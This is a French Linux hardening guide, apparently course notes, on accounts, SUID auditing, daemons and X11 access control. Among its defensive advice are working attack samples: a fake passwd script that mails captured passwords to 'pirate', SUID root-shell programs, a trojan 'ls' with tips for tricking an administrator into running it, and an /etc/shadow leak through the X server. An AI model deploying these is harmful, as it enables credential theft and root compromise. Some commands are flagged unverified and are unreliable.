SECURITE LINUX
La sécurisation d'un système commence lors de son
installation
Sécurité
physique
La sécurité d'un système UNIX dépend de
son emplacement physique. Par conséquent, vous devez isoler la machine pour
éviter qu'elle ne tombe entre les mains d'utilisateurs malveillants, comme le RFC 1244 le recommande.
Sécurité des comptes
Groupe privilégié :
Vous pouvez faire en sorte que seuls certains utilisateurs aient le droit d'utiliser certaines commande "puissantes" comme su. En limitant le nombre de personnes pouvant utiliser ces commandes vous améliorez la sécurité de votre site. Pour cela vous allez créer un groupe d'utilisateur privilégié, généralement il est appelé wheel, mais libre à vous de l'appeler comme vous voulez, choisissez quand même un nom discret, passe partout, pour ne pas éveiller les soupçons.
Maintenant pour que su soit lancé uniquement par les membres du groupe wheel, vous devrez taper:
chgrp
wheel /bin/su
chmod 4750 /bin/su
Faites de même pour les autres
commandes.
NOTE: N'oubliez pas qu'un utilisateur peut très bien appartenir à deux
groupes
En vous connectant, vous vous identifiez vis-à-vis du système et vous confirmez cette identité par la fourniture d’un mot de passe. Dès lors, chaque opération que vous allez tenter va déclencher un mécanisme de vérification. Le système va comparer les droits en votre possession avec les doits nécessaires à l’opération.
Pour le système, un utilisateur est un numéro. Vous pouvez à tout moment connaître votre numéro en utilisant la commande id :
$id
uid=501(moi) gid=100(users) groupes=100(users)
Ce numéro est l’identificateur d’utilisateur ou UID. En principe, cet UID est unique et possède une signification particulière en fonction de sa valeur. Tous les UID en dessous de 100 sont réservés à des utilisateurs d’un niveau important dans le système.
Les UID utilisés par l'environnement de l'OS sont en général compris entre 0 et 200.
A certains comptes tel que NOBODY livrés avec les systèmes sont associés des UlDs dont les valeurs sont les plus hautes possibles. Les progiciels (oracle, etc.) donnent parfois la possibilité de modifier la valeur de l'UID qui leur est associé, la valeur par défaut est normalement inférieure à 1000.
L’utilisateur suprême ayant le droit de tout faire avec le système est l’utilisateur root, son UID est 0.
Comme vous pouvez le voir dans le résultat retourné par la commande, un autre identificateur est assigné aux utilisateurs. Le GID, pour identificateur de groupe, permet de classer les utilisateurs par groupes. Il est ainsi possible d’autoriser des actions et des accès aux données, non plus au coup par coup, mais de manière générale pour un groupe.
Chaque utilisateur fait partie d’un groupe, même si aucune organisation administrative n’est définie. Vous constaterez parfois la mention « nogroup ». contrairement à ce qu’il pourrait sembler, il s’agit d’un groupe possédant bel et bien un numéro (65534).
- root.
UID=0 et GID=0
Le mot de passe root doit être
défini immédiatement après l'installation.
Pour un usage courant, utilisez et loggez vous avec un accès non
root (employez "su" pour obtenir un accès super-utilisateur).
Pour obtenir les privilèges root, la méthode la plus souvent
utilisé, est l'exploitation d'un débordement de tampon.
Attention :
N'installez jamais un programme en tant que
root.
La ligne "rm
-rf /" pourrai se trouver dans un script et imaginer la suite.
- Les comptes générique.
Certaines distributions, installe un ou plusieurs comptes ou mots de passe par défaut.
Vérifiez
votre fichier /etc/passwd et supprimer tous vos comptes génériques
utilisateurs (pas les comptes systèmes !!).
Les comptes systèmes suivants sont
nécessaires :
root,
bin, daemon, adm, lp (si vous avez un
système d'impression), mail (si
serveur mail), news (si serveur de
news), uucp (si vous utilisez UUCP), nobody
Spécifier un interpréteur de commande non fonctionnel (tel que /bin/false) pour les comptes systèmes ne devant pas se connecter (mail, sync ....)
Ceux-ci sont facultatifs :
games, gopher, halt,
sync, shutdown, operator, ftp (si serveur FTP anonyme), lists, xfs.
- guest
Compte générique utilisateur à
supprimer
- visiteur
C’est un cauchemar pour la sécurité. les comptes
visiteurs sont les premiers essayés dans un système UNIX récent qui n'a donc
pas pu être configure...
- obsolètes
Il arrive que l'on puisse trouver des comptes obsolètes qui n'ont pas encore été annulé (mort de l'utilisateur, ou départ en vacance). L'administrateur réseau peut donc annuler ces comptes en mettant une date d'expiration des comptes
- Les comptes sans passwd.
C’est
fou, non ??? & pourtant ça existe !!!
- Les comptes avec passwd identiques aux logins "jo
account".
Très courant !!
- Les comptes suivants ne requièrent pas de mot de passe
pour ouvrir une session :
- lp (imprimante en ligne)
- 4Dgifts
-
demos
-
jack
-
jill
- backdoor
- tutor
- tour
- su
- Permet de prendre l'identité d'un autre utilisateur y compris celle de l'UID 0.
- Le su vers l'UID zéro n'est possible que pour les membres du groupe 0 (wheel) et pour tous si ce groupe est vide.
- Les su sont enregistres par syslogd BSD ou dans le fichier
/usr/adm/sulog.
- Sur certains systèmes /etc/su_people déclare des utilisateurs autorises a faire su root sans fournir de mot de passe. Eviter cette fonctionnalité.
- Permet de lancer des commandes sous un autre UID que 0 dans les fichiers d'amorçage du système /etc/rc* et donc de lancer certains démons sous un UID banalise.
Utilisé par exemple pour uucp :
su uucp -c
/usr/lib/uucp/uusched &
- Eviter de faire su depuis le login d'un autre utilisateur qui vous le demande. Vous risquez d'être victime d'un cheval de Troie destine a voler votre mot de passe. En shell faire au préalable afficher la variable PATH et IFS et les fonctions (sh ksh). Utiliser pour cela la commande set sans arguments. En C-shell faire au préalable afficher la variable PATH et les alias.
Il est donc plus simple de taper /bin/su et de vérifier IFS si on travaille en shell ou Korn shell.
- Si un utilisateur possède un répertoire accessible en écriture et un ./ ou . dans son PATH, il est vulnérable si cela s’avère nécessaire, placé les en dernier.
passwd
La zone mot de passe est intégrée au fichier /etc/passwd.
Ce fichier est en lecture pour tous les utilisateurs, ce qui autorise à n'importe qui la recopie de ce fichier. Cependant, ce fichier est de moins en moins utilisé pour le stockage du mot de passe il figure alors dans la zone adéquat un x qui indique que les mots de passe sont cryptés dans un autre fichier (/etc/shadow).
Les serveurs tournants sur AIX d'IBM
peuvent ne pas avoir de croix mais des # ou des ! alors ne vous étonnez pas non
plus. Si à la place on a le caractère '*', celui-ci
interdit la connexion.
La commande pwconv permet de déplacer les mots de passe du fichier /etc/passwd vers le fichier /etc/shadow.
Ce fichier ne doit être lisible que par les administrateurs.
Le fichier /etc/shadow est accessible en lecture uniquement par root, Mais n'importe quel utilisateur de la machine peut profiter d'un bug du serveur X-Window pour récupérer la première ligne du fichier /etc/shadow qui est a plus importante puisqu'elle contient le mot de passe du root.
exemple: à vérifier
/usr/X11R6/bin/X -config /etc/shadow
Unrecognized
option: root:MtjJb1lBrS1SE:10148:0:99999:7:::
use:
X [:] [option]
-a
# mouse accélération (pixels)
-ac
disable access control restrictions
-audit
int set audit trail level...
Le mot de passe peut être modifié par l'utilisateur à l'aide de la commande passwd.
Le cryptage des mots de passe se fait via un DES qui les codes sur 13 caractères. Les deux premiers, utilisé pour le cryptage en entrée, servent à ce qu’un mot de passe identique à deux utilisateurs n’ait pas le même cryptogramme. Les huit caractères suivant cryptent le mot de passe. Les trois derniers caractères servent à rendre le cryptogramme éditable. En effet, il est courant de rajouter des utilisateurs dans le fichier /etc/passwd à l’aide d’un éditeur de texte. On peut s’imaginer ce que donnerait l’écriture d’un tel fichier si tous les caractères n’étaient pas éditables !
La commande uname -a permet de reconnaître le système utilisé par la
machine.
Chaque système a ses trous de
sécurité et ses problèmes.
Localisation du fichier contenant les passwords :
AIX 3 /etc/security/passwd ou
/tcb/auth/files/1ère lettre du login/login
A/UX 3.Os /tcb/files/auth/?/
BSD4.3-Reno /etc/master.passwd
ConvexOS 10
/etc/shadow
Convex0S 11
/etc/shadow
DG/UX /etc/tcb/aa/user
EP/IX /etc/shadow
HP-UX /.secure/etc/passwd
IRIX 5 /etc/shadow
Linux 1.1 /etc/shadow
OSF/1 /etc/passwd/[.dir|.pag]
SCO Unix
#.2.x /tcb/auth/files/1ère lettre du login/login
Ex : /tcb/auth/files/r/root
SunOS
4.1+c2 /etc/security/passwd.adjunct
SunOS 5.0 /etc/shadow
Syst V4.0 /etc/shadow
Syst V4.2 /etc/security
Ultrix 4 /etc/auth/[.dir|.pag]
UNICOS /etc/udb
Fausse commande passwd :
Voici une fausse commande passwd qui simule
de comportement de la vraie commande passwd en cas d’erreur de saisie, puis
envoie les trois mots de passe entrés par courrier électronique au pirate. La
vraie commande passwd est ensuite appelée pour ne pas éveiller la méfiance du
curieux.
#!/bin/sh
echo changer votre mots de passe
stty –echo
echo –e "entrez votre ancien mot de passe:\c"
read P0
echo ""
echo -e "Entrer un nouveau mot de passe:\c "
read P1
echo ""
echo
-e "taper de nouveau votre nouveau mot de passe:\c "
read P2
echo ""
stty echo
echo ""
echo
$P0 $P1 $P2 | mail pirate >/dev/null 2>&1
echo "You misspelled it. Password
not changed"
/usr/bin/passwd
Il est évident que
ce programme n'est pas bien dangereux. Plusieurs traces demeurent du passage du
pirate, dont son adresse e-mail.
Le source
complet en langage C du programme et détenu dans le fichier :
Securite96.pdf
Désactiver
les demons inutiles. A compléter (linux loader)
Au démarrage de votre système, le noyau charge de
nombreux services. Certaines distributions en ajoutent par défaut ce qui n'est
pas recommandable. Un service est un processus qui tourne en tâche de fond et
qui peut comporter des failles
Si vous ne l'utilisez pas il ne faut donc pas le
laisser tourner mais le désactiver.
Exemple :
Maintenant on
va aller jeter un coup d'œil dans les répertoires /etc/rc.d/rcX.d qui contiennent des liens
vers les scripts de lancement de services, on va désactiver les services
inutiles. Si vous démarrez en runlevel n°5, voici ce que vous pourriez trouver
dans le répertoire /etc/rc.d/rc5.d
Pour connaître le niveau d'exécution de votre système, allez voir dans de fichier inittab (ligne initdefault) ou tapez la commande suivante en tant que root :
cat /etc/inittab | grep initdefault
S05apmd Utile uniquement pour les portables, sert à gérer l'autonomie d'une batterie, à virer si vous avez un poste de bureau
S09pcmcia pour activer les services liés au PCMCIA, à virer si la station n'est pas un portable.
S10network active les interfaces réseau (eth0, ...)
S11portmap Utile si vous utilisez des services RPC comme NFS ou NIS
S15netfs lance le service NFS client, à désactiver si vous ne montez jamais de file systems d'un serveur NFS
S16ypserv pour lancer le serveur NIS, à désactiver si non utilisé
S20random ce n'est pas un daemon, mais un truc qui permet de générer bazar aléatoire, je vois pas trop son utilité mais vous pouvez le laisser, il n'y aucun risque niveau sécurité
S20rstatd service "r", à désactiver
S20rwhod idem, à désactiver
S20rusersd idem, à désactiver
S20bootparamd, idem tftp, sert pour les terminaux X ou autres clients "diskless", à désactiver
S30syslog permet de loguer l'activité des daemons lancés par inetd, à conserver
S34yppasswd si vous êtes un serveur NIS pour pouvoir changer de mot de passe, à désactiver si non utilisé (très vulnérable)
S35dhcp daemon DHCP sert pour obtenir une adresse IP, sert pour les câblés entre autres, à désactiver si non nécessaire
S40atd utile pour le service at (similaire à cron), vous pouvez désactiver si vous vous en servez pas, mais soyer sur de vous.
S40crond pour lancer le daemon cron qui permet de programmer des tâches à lancer, à virer si vous ne l'utilisez pas. En faire de même pour anacron.
S50inet pour lancer le réseau,
S50snmpd pour lancer le daemon SNMP, permet de donner à des utilisateurs distants des informations détaillées sur votre système, à désactiver
S55named pour lancer le serveur DNS, à désactiver si vous ça ne sert à rien
S55routed pour router selon le protocole RIP, à désactiver
S57diald permet de lancer le daemon diald pour lancer une connexion internet automatiquement (du serveur ou d'un client du réseau local), à désactiver si vous vous en servez pas.
S60lpd gére le système d'impression. A désactiver si pas d'imprimante.
S60nfs pour lancer le serveur NFS, à désactiver si vous n'exportez pas vos systèmes de fichiers
S60mars-nwe pour lancer un serveur Netware de Novell, à désactiver si non nécessaire
S72autofs pour lancer l'automontage (peut s'appeler aussi S72amd), à virer si vous ne l'utilisez pas
S75keytable pour activer le clavier qui va bien (claver français azerty)
S75gated pour lancer d'autres protocoles de routage comme OSPF, à désactiver
S80sendmail pour lancer sendmail, à désactiver si vous ne l'utilisez pas
S85sound pour activer le son
S85gpm permet d'avoir la souris sur des applis textes comme Midnight Commander, à désactiver si inutile.
S85http pour lancer le serveur Web (Apache), à désactiver si non utilisé
S86ypbind si vous êtes un client NIS, à désactiver sinon
S90squid pour lancer le proxy squid, pour partager la connexion internet, à désactiver si poste isolé
S90xfs pour activer le serveur de fonts X, nécessaire
S91smb pour lancer le serveur samba, si vous partager des file système ou des imprimantes vers des postes Windows, à désactiver si non utile.
S94ntpd pour lancer le serveur NTP (network time protocol) à désactiver (ancienne version
S94xntp)
S95innd pour lancer le serveur de news innd, si non utilisé à désactiver
S99linuxconf permet à quelqu'un sur internet de faire de la maintenance sur votre système à travers une interface web, à désactiver
S99local c'est un lien vers /etc/rc.d/rc.local, où vous pouvez rajouter vos petits trucs.
S??ssh très important si vous désirez vous connecter à distance (remote access) à votre station via internet ou un réseau local. Il autorise en effet l'établissement d'une liaison sécurisée.
S??exim exim est un programme de gestion de courriels. Mais si ce nom ne vous semble pas très familier, vous pouvez le supprimer sans hésiter.
S??ftpd serveur ftp. Pour accéder à des fichiers via une lisison ftp depuis une autre machine, activez cd démon.
S??Proftpd idem.
S??apache serveur web. Si votre site web est hébergé par un prestataire Internet, il est parfaitement inutile d'activez ce démon, d'autant plus qu'il est très gourmand en ressources système.
S??logoutd il s'agit d'un démon lié à la sécurité du système, qui interdit les connexions de certains utilisateurs à des dates et heures déterminées. Il se configure via le fichier /etc/security/time.conf.
S??Junkbuster c'est un proxy http, censé protéger votre pc. Il est intéressant si vous vous connectez fréquemment à internet.
S??alsa pilote pour les cartes audio.
S??ppp ppp est l'agent qui gère les connexions traditionnelles par modem. Il s'avère donc indispensable si vous utilisez un modem RTC.
S??wwwoffle démon intéressant car c'est un proxy http qui conserve dans un cache, les données des sites visités. Il permet ainsi d'accélérer l'affichage des pages déjà consultées.
S??Inetd déconseillé de le désactiver. En effet, il gère le chargement/déchargement dynamique de certains autres démons (comme telnetd par exemple). Cela permet de libérer de la mémoire vive lorsque les démons ne sont pas utilisés.
S??Sysklogd il s'agit d'outils indispensables qmui permettent au noyau et aux démons de dresser la liste de leurs activités dans /var/log/. Il est extrêmement important.
C'est une liste non exhaustive, d'un système à l'autre, le numéro de lancement peut changer. Pour désactiver le service SNMP par exemple il suffit d'abord de le localiser dans tous les répertoires /etc/rc.d/rcX.d:
find
/etc/rc.d -name S50snmpd -print
Puis de supprimer tous les liens que vous trouverez.
Attention :
- Ne pas supprimer le script de
lancement sous /etc/rc.d/init.d
- Notez précisément ce que vous avez supprimé, au cas où vous vous voudriez
réactiver le service.
Tapez maintenant la commande :
ps aux | wc -l
Vous devriez avoir le nombre de process actifs, rebootez et retapez cette dernière commande, suivant le nombre de services que vous avez désactivé le nombre peut avoir diminué de manière significative.
Nota :
Il est aussi
possible de recourir à runleveleditor qui est un utilitaire doté d'une
interface graphique.
Il suffit de
cliquer sur un démon, puis de choisir le ou les niveaux d'exécution pour
lesquels il doit être activé.
Sécurité des fichiers et des répertoires
- /home
- Doit
être un point de montage, ce qui permet de restreindre les privilèges des
utilisateurs "normaux".
- Y
interdire :
- l'emploi de programme SUID/SGID (nosuid)
- l'utilisation de fichiers périphérique (nodev)
- l'exécution de binaire (noexec)
Sur la
plupart des systèmes la commande 'mount' a les options 'nosuid, nodev, noexec'.
- les fichier .profile
et .login doivent avoir les permissions
rw-------
- /tmp
- Même
politique que le répertoire /home
- /etc
-
/etc/rc.d/init.d : Fichier de
démarrage. Y faire un chmod -R 700
- /dev
Le plus
souvent, seul root à accès à ces fichiers.
- bit de droit
d'accès
- rwxrwxrwx : Les
droits d'accès des fichiers sont donnés selon plusieurs paramètres:
-
Le propriétaire du fichier (UID noté u pour user)
- Le groupe auquel appartient le propriétaire
(GID noté g pour group)
- Ceux
qui ne sont ni le propriétaire et qui n'appartiennent pas au groupe (noté o
pour others).
- Le type (répertoire, fichier ordinaire,…)
La ligne commence par
d => fichier répertoire
- => fichier ordinaire
b => fichier bloc (
c => fichier spécial : caractère
magnétique (raw
+ stream)
p => pipe nommé
l => fichier lien symbolique
Les droits pour un fichier ont donc une structure -rwxrwxrwx dans l'ordre des 3 premiers paramètres précédemment exprimés.
Les accès rwx désignent :
- r : lecture seule pour les fichiers classiques (read)
: on peut les visualiser par la commande ls pour les répertoires
- w : création et suppression autorisée (write)
- x : exécution pour les fichiers classiques (exécute)
droit de passage pour les répertoires
- Set UID bit : Lorsque ce bit est positionné sur un fichier, cela
signifie que le fichier est exécuté avec le droit du propriétaire du fichier.
- Set GID bit : Lorsque ce bit est positionné sur un fichier, cela
signifie que le fichier est exécuté avec le droit du groupe propriétaire du
fichier.
Les
fichiers avec les permissions SUID et/ou SGID doivent faire l'objet d'une
surveillance régulière.
La
liste obtenue avec la commande 'find' sera comparée à une liste de référence
pour détecter les changements intervenus.
La
liste de référence sera établie avec la plus grande attention lors de
l'installation ou d'un changement de version du système.
- diff ListeDeReference ListeCourante
Utiliser
la commande suivante :
- find / -type f \( -perm -4000 -o -perm –2000 \) -print
- find / -type f -a \( -perm -4000 -o -perm –2000 \) -print
- find / -user root –a \( -perm -4000 -o
-perm –2000 \) -print
- find /bin -type f \( -perm -4000 -perm -2000 \) -exec ls -lg
{} \; > ListeDeRéférence
La
suivante permet de détecter les procédures shell SUID ou SGID
- find / -type f \(-perm -4000 -perm
–2000\)-exec file {}\; | grep shell
Pour
désactiver les bits "s" taper la commande :
- chmod a-s nom_du_programme
Exemples :
Si les
utilisateurs non pas besoin de monter des systèmes de fichier, ôter le bit s de
la commande mount.
Si les
utilisateurs non pas besoin d'utiliser les commandes (ping, traceroute... ) en
faire de même.
Supprimer
le SUID bit du fichier /usr/etc/restore car il s'agit d'une brèche de sécurité.
Explication :
Un
programme dont le propriétaire est root devient root pendant son exécution
grâce au bit suid.
En l'exécutant et en forçant le
retour d'un call vers une routine qui exécute un shell, on obtient ainsi un
shell root.
Exemple 1 de programmes suid : à
tester et modifier
var=get
uid() ;
set
uid (geteuid()) ;
system (“/bin/bash; ou plutôt system (application);
set uid (var) ;
Il faut que l’exécutable appartienne à root et il
faudra positionner le set uid bit (chmod 4555)
vi pirate.c
main()
{
set
uid (geteuid());
system
(“/bin/bash”);
}
compile pirate.c
=> pirate
chmod 4555
pirate
Exemple 2 de
programmes suid : à tester et modifier
#!/bin/sh
# Ce
fichier est un piège. Il s’apesse ls et va me permettre de tromper
#
l’administrateur.
#
# Copier
un shell et le rendre SUID
cp /bin/sh .toto
chmod 4555
.toto
# Effacer
ce script
rm –f $0
# Exécuter
ls comme si de rien n’était.
exec /bin/ls ${1+’’$0’’}
Placez le script dans votre
répertoire home, puis créer un fichier « bizarre » et appeler
l’administrateur en lui disant que vous n’arrivez pas à supprimer un fichier
bizarre.
Celui-ci n’arrivera pas a le lire
car le fichier n’est pas accessible en lecture pour les autres utilisateurs. Il
se connectera donc en root et fera un ls pour lister les fichiers. Ce qui aura
pour conséquence de créer dans votre répertoire un shell SUID root.
- sticky bit - noté t. Il indique que seul le propriétaire ou l'administrateur peuvent supprimer un fichier qui le porte. Le bit t peut être activé pour un programme aussi; cela signifie que le programme doit être conservé en mémoire après exécution de façon à réduire les temps d'accès disques. Le bit t est activé par un chmod 1000.
Sécurité des connexions extérieures
- Machines équivalentes (trusted host)
Le
mécanisme des machines équivalentes permet par le biais d’une liste de machines
ou d'utilisateurs d’établir une session ou d’exécuter une commande à distance
sans passwd. Les deux machines doivent avoir le même username.
- /etc/host.equiv
-
Contient la listes des machines équivalentes. Les utilisateurs venant d'une
machine listée dans ce fichier et qui ouvrent une session par la commande
rlogin ou exécutent une commande par rsh n'ont pas à fournir de passwd.
Certaines
version de UNiX sont livrées avec une seule entrée dans le fichier host.equiv.
Un "+". Si c'est le cas, la machine est en libre accès pour tout le
monde car le "+" signifie que toutes les machines sont classées comme
équivalentes.
Si votre cible a "+" dans son /etc/hosts.equiv tout
utilisateur non-root disposant d'un id dans le fichier des mots de passe pourra
se connecter sans fournir de mot de passe .
- ~/.rhosts
- Les
fichiers .rhosts permettent à des aux utilisateurs d'accéder aux machines sans
passwd.
- Tout
utilisateur peut créer un fichier .rhosts dans son répertoire de connexion et
autoriser l'accès à son compte sans passwd.
- Il
faut donc vérifier régulièrement la présence de c'est fichiers par la commande
#find / -name .rhosts -print => pour les voir
#find / -name .rhosts -exe rm {}\; => pour les éliminer
En pratique les intrus modifient le fichier .rhosts pour y déposer une entrée "++" (tout autorisé par défaut).
Format des fichiers /etc/hosts.equiv et ~/.rhosts :
+nom_machine+nom_utilisateur (pas d’espace)
+tout seul, il
indique que toutes les machines peuvent se connecter !
-
Lancement d'applications X-Window (X11) à distance
Il y a trois niveaux de contrôle d'accès à un serveur X :
- xhost, au niveau des machines,
- xauth, au niveau des utilisateurs,
- dans les
applications.
xhost
Les applications X-Windows (s'exécutant dans une fenêtre) peuvent être lancées à partir d'un client sur un serveur distant. Pour cela, on doit autoriser sur le serveur l’affichage d'applications distantes au moyen de la commande xhost.
Il faut également indiquer le display (écran) sur lequel l'application doit se lancer, soit en changeant la valeur de la variable d'environnement DISPLAY, soit dans la commande de lancement de l'application Xwindow avec l'option -display si celle-ci est disponible.
Un serveur Xwindow est identifié par deux éléments, le nom de la machine sur laquelle il fonctionne et le numéro d’affichage ou plus simplement le display. Pas défaut, lorsque vous lancez un serveur XFree sur votre système, il utilise le premier numéro disponible :0. votre serveur est donc accessible sous l’identification localhost:0.
Vous pouvez parfaitement lancer un second Xfree en passant sur la ligne de commande un paramètre indiquant le nouveau display à créer. En omettant ce paramètre, le nouvel XFree tentera d’utiliser le display 0 et son exécution échouera :
Fatal server
error :
Server is already
active for display 0
Vous devez utiliser :
startx -- :1
En ce qui concerne nos
manipulations, le client devra donc utiliser localhost :0 pour déporter
l’affichage des application exécutées. La première technique consiste à
spécifier le display à utiliser à l’aire d’un option sur la ligne de
commande :
xeyes –display localhost:0
xclock –display
36.204.15.x:0.0 tester les 2
Malheureusement, toutes
les application X ne propose pas ce paramètre sur la ligne de commande. Dans ce
genre de cas, il faudra se rabattre sur une solution universelle consistant à
utiliser une variable d’environnement : DISPLAY. La syntaxe est la même
que pour le paramètre en ligne de commande :
Export DISPLAY=localhost :0
Des lors, toutes les
application X que vous lancerez depuis le client verront leur affichage déporté
sur le serveur.
xhost + : désactive
le contrôle d’accès , cette utilisation est à proscrire.
=>autorise l'ouverture pour toutes les
autres machines.
xhost + hostname : ajoute la
machine hostname à la liste des machines autorisées à se connecter au serveur
X,
=> autorise l'ouverture pour la machine
hostname
xhost - : active le
contrôle d'accès, mais est largement insuffisante. En particulier, elle ne vide
pas la liste des machines autorisées.
=> interdit l'ouverture pour toutes les
autres machines.
xhost - hostname : supprime
la machine hostname de la liste des machines autorisées à se connecter au
serveur X.
=> interdit l'ouverture pour la machine
hostname
xhost :
Donne la liste des machines autorisées à se
connecter au serveur X, et indique si le contrôle d'accès est actif. Il est
vivement recommandé d'utiliser cette commande lors de la première utilisation
d'un serveur X, car certains d'entre eux ont la possibilité de démarrer avec
une liste de machines autorisées non vide. Si tel est le cas, regarder du côté
d'un fichier /etc/X*hosts.
Pour vider la liste, il faut en supprimer toutes les
machines avec une commande comme :
xhost `xhost | awk -F: 'NR > 1 {printf
("-%s ", $NF)}'`
(à vérifier)
Exemple :
- lancez la commande xhost +cible
- vérifier le nom de votre display au moyen de la commande :
echo $DISPLAY
- connectez-vous à cible et lancez un xterm depuis cible avec l'option:
-display, et constatez qu'il s'agit bien d'un shell tournant sur cible.
- lancez l'application /usr/openwin/demo/xeyes
depuis cible de deux manières différentes:
1) en mettant à jour la valeur de la variable DISPLAY (commande echo)
2) directement depuis cible au moyen d'un rsh
xauth
Authentification des utilisateurs.
Lorsqu'un client X initie une connexion (XOpenDisplay(3X))
avec un serveur X pour lequel le contrôle d'accès est actif et que la machine
de laquelle ce client appelle n'est pas dans la liste des machines autorisées,
alors ce client peut fournir une clé (le MAGIC-COOKIE , chaîne de 128
bits, soit 32 caractères en hexadécimal) au serveur. Un petit utilitaire appelé
mcookie est sans doute présent dans votre système et permet de générer ce genre
de chaîne. Une autre solution consiste à utiliser md5sum sur un fichier ou des
données connues pour être parfaitement aléatoires. Le client trouve (par
défaut) cette clé dans le fichier /.Xauthority. L'accès à
ce fichier est contrôlé par le système de fichiers (mode 0600).
La clé initiale est passée au serveur X par 'xdm' en
argument au démarrage :
/usr/bin/X11/X
-auth pathname
ou pathname (owner root, mode 600) est un fichier contenant
la clé initiale.
Lorsqu'un utilisateur s'est identifié (login/password), xdm
stocke cette clé (maintenant côté client) dans le fichier : /.Xauthority.
Ce fichier peut être partagé sur plusieurs machines d'un
réseau si par NFS, le répertoire $HOME est toujours au même endroit.
xauth est un utilitaire
qui gère des clés « MAGIC-COOKIE » d'accès à un serveur X.
Ces clés sont stockées dans /.Xauthority,
et donc sous le contrôle du système de fichiers.
Les fichiers .Xauthority contiennent des triplets :
<adresse IP d'un serveur>
<methode_de_chiffrement> <clé>
- Adresse IP ou nom
de display (dpyname).
Celui-ci
est composé de trois éléments.
-
le nom d'hôte
- la mention /unix (nécessaire afin de garder une compatibilité).
Voilà pourquoi les entrées sont répétées avec et sans le /unix.
-
le numéro de display
- Le protocole ou
méthode de chiffrement. Il n'y a guère le choix ici, c'est MIT-MAGIC-COOKIE-1
-
Le cookie magique de l'hôte et du display en question
xauth list
Liste sous une forme
texte le contenu du fichier contenant les clés.
xauth
add nom_du_Display methode_de_chiffrement clé_en_hexa
ajoute la clé pour ce
serveur X.
Une opération de copier/coller
entre deux fenêtres permet de passer facilement la clé.
xauth nextract.
Ex : $xauth add votre.affichage.ip:0 MIT-MAGIC-COOKIE-1 73773549724b7668etc.
xauth nmerge
Fonctions similaires à list et add,
mais en format hexadécimal et avec lecture et écriture dans un fichier (pouvant
être stdin/stdout).
xauth nextract
xauth nextract - <Display> | rsh <host>
/usr/bin/X11/xauth nmerge -
Bien faire attention à ce que Display
doit être la façon que host a de nommer le serveur X sur lequel on travaille.
Par exemple si le serveur X actuel est ":0.0" que l'on est sur la
machine 'planète.edu' et que l'on veut pouvoir ouvrir des fenêtres depuis la
machine "violon.fr" alors il faudra utiliser:
xauth nextract - planete.edu:0.0 | rsh violon.fr
/usr/bin/X11/xauth nmerge -
Dès que l'on veut faire du contrôle
d'accès avec X, et utiliser des machines en dehors de son domaine, il devient
vital d'utiliser une seule méthode pour nommer toutes les machines. La seule
méthode qui soit viable consiste à utiliser le DNS. Si l'on tient toutefois à
utiliser d'autres méthodes comme les fichiers /etc/hosts
ou NIS, il est essentiel que toutes ces
méthodes soient cohérentes entre elles, et il faut donc mettre dans les
fichiers hosts les FQDN comme noms primaires, et dans les map NIS host.byname
les FQDN seulement, car l'ordre d'obtention des noms n'est pas fiable lors
d'une résolution par NIS.
xauth delete <nom_du_Display>
supprime la clé
d'accès à ce serveur X.
Aujourd'hui, la méthode la plus
"recommandable" consiste à activer le contrôle d'accès en partant
d'une liste de machines autorisées totalement vide, ce que l'on peut vérifier
avec "xhost". Puis à utiliser
"xauth".
Exemple :
Affichez les entrées
de barzouille avec xauth list
Celle qui nous intéresse concernent
le display 0. il est assez rare en effet de voir une machine exécuter plusieurs
serveurs X autrement que pour des test ou des manipulations exceptionnelles.
Si nous désirons déporter
l'affichage de nos applications exécutées sur barzy vers barzouille, nous
devons ajouter deux entrées dans le .Xauthority de barzy :
xauth add barzouille:0
MIT-MAGIC-COOKIE-1
3b0302b7a4bb53da1b378738bd8db0
xauth
add barzouille/unix:0 MIT-MAGIC-COOKIE-1
3b0302b7a4bb53da1b378738bd8db0
Des lors, nous
pouvons tester notre configuration depuis barzy :
xeyes –display morgane:0
Le problème principale de cette
méthode est que le MAGIC-COOKIE circule en clair sur le réseau.
Sécuriser d'avantage :
Utiliser
SSH voir aussi linux mag hs 8 p 35
Nous considérons ici que vous avez
déjà sur les deux machines un ssh pleinement fonctionnel.
Vous n'avez qu'à modifier les
fichiers de configuration de client et du serveur ssh de chaque machine en
ajoutant :
Dans ssh_config
(client) :
ForwardX11 yes
Dans sshd_config (serveur) :
X11Forwarding yes
Ces fichiers se trouvent
normalement dans votre /etc/ssh ou dans /usr/local/etc. après la modification, vous n'avez
plus qu'a relancer les serveurs ssh des machines. Une simple connexion comme
par exemple :
ssh –l
utilisateur barzouille
vous connectera à l'hôte distant de
manière sécurisée et dans la session, vous n'aurez qu'à lancer votre
application X. son affichage sera alors automatiquement déporté vers la machine
cliente et les informations transiteront directement par le canal sécurisé ssh
(port 22)
pour ce petit miracle, aucune
configuration supplémentaire n'est nécessaire. OpenSSH va créer lors de la
connexion un MAGIC—COOKIE temporaire qu'il utilisera pour faire transiter les
données X11. vous pourrez le constater par vous même en utilisant xauth list
dans la session ssh :
barzouille
ssh –l éric barzy
éric@barzy's password:
éric@barzy:~$ xauth list
barzy:10 MIT-MAGIC-COOKIE-1
b5737cde48f604a24706570a9c1772d6
barzy/unix:10 MIT-MAGIC-COOKIE-1
b5737cde48f604a24706570a9c1772d6
éric@barzy:~$ <CTRL D>
barzouille$ ssh –l
éric barzy
éric@barzy's password:
éric@barzy:~$ xauth list
barzy:10 MIT-MAGIC-COOKIE-1
9d4155fca25b175d7f828d3a79cff7e
barzy/unix:10
MIT-MAGIC-COOKIE-1
9d4155fca25b175d7f828d3a79cff7e
Comme vous pouvez le voir, un
nouveau MAGIC-COOKIE est crée à chaque connexion du client OpenSSH. Au moment
où le client se connecte, il va contrôler la présence d'un serveur X en
fonction. Il va ensuite générer aléatoirement et ajouter un nouveau
MAGIC-COOKIE dans le .Xauthority puis l'envoyer au serveur SSH. Ce dernier va
alors l'ajouter au .Xauthority de la machine où tourne le serveur OpenSSH main
attention, cette machine est cliente pour l'affichage déporté.
Ici, pas de problème , l'échange
des MAGIC-COOKIE se fait bien dans la connexion OpenSSH. Les données de
l'affichage seront ensuite détournées par le serveur sshd pour passer dans le
tunnel sécurisé. Aucune donnée ne circule en clair sur le réseau.
Seul problème de cette transparence
pour l'utilisateur, on n'arrive pas à faire la différence entre un affichage
déporté via OpenSSH et une connexion en clair; il est donc à la charge de
l'utilisateur de vérifier (par une lecture des fichiers de configuration ou via
la commande xauth list) que les données circulent dans le bon tuyau.
Il est cependant nécessaire de
préciser que la communication des données de l'affichage ne seront protégées
que de l'extérieur des machines. En effet, une attaque est possible contre les
